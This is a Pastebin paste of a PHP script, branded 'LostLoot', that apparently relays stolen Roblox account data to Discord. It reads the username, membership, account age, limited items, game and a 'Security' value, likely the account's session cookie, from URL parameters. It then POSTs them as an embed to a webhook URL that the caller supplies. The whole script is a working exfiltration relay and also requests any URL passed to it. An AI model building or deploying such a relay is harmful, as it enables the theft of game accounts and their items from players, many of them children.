Advertisement
Guest User

Visit

a guest
Jun 17th, 2019
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. <?php
  2.  
  3. $hookObject = json_encode([
  4. /*
  5. * The general "message" shown above your embeds
  6. */
  7. "content" => "",
  8. /*
  9. * The username shown in the message
  10. */
  11. "username" => "LostLoot",
  12. /*
  13. * The image location for the senders image
  14. */
  15. "avatar_url" => "https://cdn.discordapp.com/attachments/584789725483761921/589289307789852673/LostLoot.jpg",
  16. /*
  17. * Whether or not to read the message in Text-to-speech
  18. */
  19. "tts" => false,
  20. /*
  21. * File contents to send to upload a file
  22. */
  23. // "file" => "",
  24. /*
  25. * An array of Embeds
  26. */
  27. "embeds" => [
  28. /*
  29. * Our first embed
  30. */
  31. [
  32. // Set the title for your embed
  33. "title" => "View Profile Here",
  34.  
  35. // The type of your embed, will ALWAYS be "rich"
  36. "type" => "rich",
  37.  
  38. // A description for your embed
  39. "description" => "",
  40.  
  41. // The URL of where your title will be a link to
  42. "url" => "https://www.roblox.com/users/".$_GET["id"]."/profile",
  43.  
  44. /* A timestamp to be displayed below the embed, IE for when an an article was posted
  45. * This must be formatted as ISO8601
  46. */
  47. //"timestamp" => "",
  48.  
  49. // The integer color to be used on the left side of the embed
  50. "color" => hexdec( "FFFFFF" ),
  51.  
  52. // Footer object
  53. "footer" => [
  54. "text" => "LostLoot | Vincent's",
  55. "icon_url" => "https://cdn.discordapp.com/attachments/584789725483761921/589289307789852673/LostLoot.jpg"
  56. ],
  57.  
  58. // Image object
  59. "image" => [
  60. "url" => ""
  61. ],
  62.  
  63. // Thumbnail object
  64. "thumbnail" => [
  65. "url" => "https://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId=".$_GET["id"]
  66. ],
  67.  
  68. // Author object
  69. "author" => [
  70. "name" => "Join Discord Server",
  71. "url" => "https://discord.gg/6W3PZRJ"
  72. ],
  73.  
  74. // Field array of objects
  75. "fields" => [
  76. // Field 1
  77. [
  78. "name" => "Username",
  79. "value" => $_GET["user"],
  80. "inline" => true
  81. ],
  82. // Field 2
  83. [
  84. "name" => "Membership",
  85. "value" => $_GET["mem"],
  86. "inline" => true
  87. ],
  88. // Field 3
  89. [
  90. "name" => "Account Info",
  91. "value" => $_GET["age"],
  92. "inline" => true
  93. ],
  94. [
  95. "name" => "Limiteds",
  96. "value" => $_GET["limit"],
  97. "inline" => true
  98. ],
  99. [
  100. "name" => "Game",
  101. "value" => $_GET["game"],
  102. "inline" => true
  103. ],
  104. [
  105. "name" => "Security",
  106. "value" => $_GET["sec"],
  107. "inline" => true
  108. ]
  109. ]
  110. ]
  111. ]
  112.  
  113. ], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
  114.  
  115. $ch = curl_init();
  116.  
  117. curl_setopt_array( $ch, [
  118. CURLOPT_URL => $_GET["w"],
  119. CURLOPT_POST => true,
  120. CURLOPT_POSTFIELDS => $hookObject,
  121. CURLOPT_HTTPHEADER => [
  122. "Length" => strlen( $hookObject ),
  123. "Content-Type" => "application/json"
  124. ]
  125. ]);
  126.  
  127. $response = curl_exec( $ch );
  128. curl_close( $ch );
  129.  
  130. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement